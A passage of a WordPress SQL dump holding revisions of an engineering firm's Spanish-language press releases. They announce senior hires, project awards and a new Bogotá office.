proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision-16','','','2013-12-04 16:37:33','2013-12-04 16:37:33','',1399,'http://moffattnichol.com/spanish/1399-revision-16/',0,'revision','',0);
INSERT INTO `wp_posts` VALUES (2807,1,'2013-12-05 19:14:52','2013-12-05 19:14:52','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"18\">PhD Gerald McCrain se integra a Moffatt & Nichol como especialista ambiental Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\"><img title=\"Gerald McCrain\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\" alt=\"\" width=\"130\" height=\"182\" /></a>\r\nRaleigh, Carolina del Norte. Diciembre 5, 2013 – Moffatt & Nichol le da la bienvenida a Jerry McCrain, para ejercer el cargo de especialista ambiental senior en nuestras oficinas de Raleigh. El doctor McCrain aporta más de 38 años de continua y progresiva experiencia en el campo, al igual que su pasión por el manejo ambiental. Ha colaborado con la planeación y manejo de importantes proyectos ambientales para el Departamento de Transporte de Carolina del Norte, al igual que para oficinas federales, del estado y agencias locales, aportando su experiencia a numerosos análisis de cuencas, humedales y estudios ambientales. También ha trabajado extensamente con el Triangle Transit Authority, con la Agencia de Protección del Ambiente y con el Programa de Mejoras al Ecosistema de Carolina del Norte. \r\n\r\nSus servicios ambientales más frecuentes para proyectos de transporte han incluido administración de proyectos, planeación estratégica, procesos y cumplimientos de regulaciones ambientales tales como el National Environmental Policy Act (NEPA), adquisición y cumplimiento de permisos, apoyo y asistencia a políticas y programas, evaluación funcional, evaluación de sitio, estudios de comunidad (humedales y terrestres), delineación, restauración y mitigación, y coordinación con agencias federales, estatales y locales. \r\n\r\nEl Dr. McCrain se describe como un facilitador en procesos en los que existen fuertes opiniones en ambos lados. “Creo en hacer las cosas de la manera correcta sin comprometer otros aspectos de nuestra vida”, comentó. “Debe haber un enfoque de “amplio espectro” para integrar la ciencia y la ingeniería. Moffatt & Nichol comparte esta visión y estoy orgulloso de sumarme a este equipo”.\r\n\r\nEl Dr. McCrain obtuvo su título de Maestría en Ciencias Botánicas en North Carolina State University (NCSU). También posee un doctorado en Manejo de Recursos del NCSU. Sus afiliaciones profesionales incluyen la Sociedad de Científicos de Humedales, la Academia de Profesionales Ambientales Certificados y la Sociedad de Investigación Científica Sigma Xi.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"17\">Kerry Simpson se une a Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\"><img title=\"Kerry Simpson\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\" alt=\"\" width=\"154\" height=\"214\" /></a>\r\nLONG BEACH, CA, Diciembre 3, 2013 – Moffatt & Nichol se complace en anunciar que el ingeniero Kerry Simpson se une a nuestra firma como miembro clave para la práctica de terminales marítimas. El Sr. Simpson tiene más de 23 años de experiencia enfocada en la planeación, análisis y diseño de terminales portuarias, incluyendo terminales ferroviarias y de contenedores. Ha trabajado extensamente con autoridades portuarias, compañías navieras, operadores de terminales, compañías ferroviarias y proveedores de equipos y sistemas. Su experiencia abarca desde planeación conceptual hasta la culminación de la construcción y ha realizado análisis y planeación para numerosas terminales de contenedores, incluyendo patios de almacenaje, patios de ferrocarril intermodal, garitas, edificios y seguridad en sitio. Ha estado involucrado en la planeación y diseño de numerosas terminales con un rendimiento anual superior a los 2,000,000 de TEUs y posee amplios conocimientos en diseño, diversos modos operativos para terminales y todo tipo de equipo para manejo de contenedores. \r\n\r\n“La amplia y profunda experiencia de Kerry en planeación portuaria, análisis y diseño es una valiosa adición a nuestras capacidades integradas” comentó Richard Steinke, líder de la práctica de terminales marítimas para Moffatt & Nichol. “Estamos contentos de tenerlo a bordo para proveer apoyo a nuestros clientes a nivel mundial”.\r\n\r\nEl señor Simpson obtuvo su título de maestría en Ingeniería Civil en California State University y su título de licenciatura en Ciencias Oceanográficas en Humbold State University. Es también miembro activo de Sociedad Americana de Ingenieros Civiles.\r\n\r\nSobre su transición a Moffatt & Nichol, el Sr. Simpson comentó: “esta es una gran oportunidad de participar en los futuros emprendimientos de Moffatt & Nichol y de continuar desarrollando puertos de primera clase alrededor del mundo. Estoy orgulloso de sumarme a este equipo”. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Directora de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Directora de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Directora de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. Previo a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas y Directora de Finanzas en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes 